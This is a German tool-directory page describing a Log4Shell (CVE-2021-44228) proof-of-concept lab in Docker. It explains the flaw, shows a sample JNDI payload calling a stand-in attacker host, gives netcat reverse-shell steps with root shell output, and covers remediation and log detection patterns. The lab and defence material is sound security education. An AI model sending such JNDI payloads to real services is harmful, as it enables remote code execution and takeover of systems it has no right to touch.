Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell — Log4Shell (CVE-2021-44228) PoC | Kitploit
Tools/GitHubGitHub/arabindadora/log4shell
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-ToolLabs & Praxis
GitHubarabindadora/log4shell

log4shell

Log4Shell (CVE-2021-44228) PoC

Repository anzeigen
2vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4Shell (CVE-2021-44228) PoC

Zielsetzung

Reproduzieren, ausnutzen und beheben einer bekannten kritischen CVE in einer Docker-Umgebung.

Dieses PoC demonstriert CVE-2021-44228 (Log4Shell) in einer Spring Boot-Anwendung.

1. Schwachstellenbeschreibung

CVE: 2021-44228

CVSS: 10.0 (Kritisch)

Betroffene Komponente: Apache Log4j (<= 2.14.1)

So funktioniert das Paket

  • Log4j ist eine beliebte Java-Logging-Bibliothek.
  • Es unterstützt Lookups (${...}), um Werte in Logmeldungen dynamisch aufzulösen.
  • Ein solcher Lookup ist JNDI, das Werte über LDAP abrufen kann.

So funktioniert die Schwachstelle

  • Der Angreifer vergiftet die Opferanwendung mit einer bösartigen JNDI-Lookup-Zeichenfolge wie ${jndi:ldap://attacker.com:1389/a}.
  • Die Opferanwendung mit der anfälligen Log4j-Version wertet die bösartige Zeichenfolge beim Loggen aus.
  • Dies löst eine JNDI-Anfrage an den vom Angreifer kontrollierten LDAP-Server aus.
Tool herunterladen
  • Der LDAP-Server antwortet mit einer bösartigen Referenz auf externen Java-Bytecode.
  • Die Opfer-JVM lädt den Bytecode und führt ihn aus, was zu Remote Code Execution (RCE) führt.
  • So funktioniert der Exploit

    1. Die Opfer-App protokolliert vom Angreifer bereitgestellte Eingaben aus einem HTTP-Header.
    2. Der LDAP-Server des Angreifers antwortet mit einer Referenz auf Exploit.class.
    3. Das Opfer ruft Exploit.class über HTTP ab.
    4. Der statische Initialisierer in Exploit läuft und erzeugt eine Reverse-Shell zurück zum Angreifer.

    2. Risiko

    • Auswirkung: Nicht authentifizierte RCE – höchstmöglicher Schweregrad.
    • Wer/was ist gefährdet:
      • Jede Java-Anwendung, die Log4j <= 2.14.1 verwendet.
      • Internetzugängliche und interne Dienste, die benutzergesteuerte Eingaben protokollieren (z. B. HTTP-Header).
    • Konsequenzen:
      • Systemkompromittierung (Shell-Zugriff).
      • Datenexfiltration.
      • Pivoting in interne Netzwerke.
      • Umgehung von Perimeter-Verteidigungen (Angriffe über interne Dienste).

    3. Proof of Concept

    Voraussetzungen

    1. docker + docker-compose
    2. netcat
    3. make

    Erstellen und starten

    root@kitploit:~
    make build start
    

    Exploit

    1. Starten Sie einen netcat-Listener:
    root@kitploit:~
    nc -l 4444
    
    1. Exploit auslösen:
    root@kitploit:~
    make exploit
    
    1. Netcat empfängt eine Reverse-Shell vom Opfer:
    root@kitploit:~
    /bin/sh: can't access tty; job control turned off
    $ id
    uid=0(root) gid=0(root) groups=0(root) ...
    

    4. Behebung

    Bevorzugte Lösung

    • Upgrade auf Log4j 2.17.1 oder höher.
    • Dies ist die einzige vollständige und langfristige Lösung. Frühere Versionen behoben teilweise, ließen jedoch noch Schwachstellen offen:
      • CVE-2021-45046: RCE über nicht standardmäßige Logging-Konfiguration
      • CVE-2021-45105: DoS über selbstreferenzielle Lookups
      • CVE-2021-44832: RCE über bestimmte JDBC-Appender-Konfigurationen
    root@kitploit:~
    make patch
    make build start
    nc -l 4444
    make exploit
    # -> observe no reverse shell
    

    Zwischenlösungen (falls Upgrade nicht möglich)

    1. Zeit gewinnen
    • Beschränken Sie eingehende Exploit-Zeichenfolgen (${jndi:-Muster) mit einer WAF oder Middleware.
    • Beschränken Sie ausgehendes LDAP von Anwendungsservern mit Egress-Filterung.
    1. Lookups deaktivieren:
    root@kitploit:~
    -Dlog4j2.formatMsgNoLookups=true
    
    1. JVM härten:
    root@kitploit:~
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    

    Operative Maßnahmen

    1. Abhängigkeiten und Laufzeit auditieren
    • Erstellen Sie eine SBOM (gradle dependencies, Snyk, Wiz, etc.).
    • Durchsuchen Sie bereitgestellte Images/Server nach log4j-core-*.jar, einschließlich fat JARs.
    • Triagieren und priorisieren Sie Maßnahmen für die riskantesten Workloads.
    1. Überwachen & erkennen
    • Achten Sie auf Exploit-Versuche in Logs (${jndi:...}, ${${lower:j}ndi:...}, etc.).
    • Überwachen Sie ausgehenden LDAP-Verkehr auf Callbacks.
    • Behandeln Sie Funde als potenzielle Kompromittierungen, eskalieren Sie zur Incident-Response (forensische Untersuchung, Entfernung bösartiger Artefakte, Rotation von Geheimnissen, etc.).
    1. Hersteller-Patches
    • Verfolgen Sie Hersteller-Advisories (z. B. Elasticsearch) – viele liefern gebündeltes Log4j aus.
    • Wenden Sie bereitgestellte Hotfixes oder Workarounds an, bis offizielle Patches verfügbar sind.
    1. Strategische Verbesserungen
    • Durchsetzen einer „Standardmäßig verweigern“-Richtlinie für die Filterung ausgehenden Datenverkehrs.
    • Erzwingen Sie Dependency Scanning in CI/CD.
    • Formalisieren Sie Response-Playbooks, damit Teams genau wissen, was bei der nächsten „10.0 CVSS“-Schwachstelle zu tun ist.
    • Führen Sie Resilienzübungen/Tabletops durch, um die Bereitschaft für einen „neuen Log4Shell-Klasse“-Vorfall zu testen.

    5. Referenzen

    • Apache Security Advisories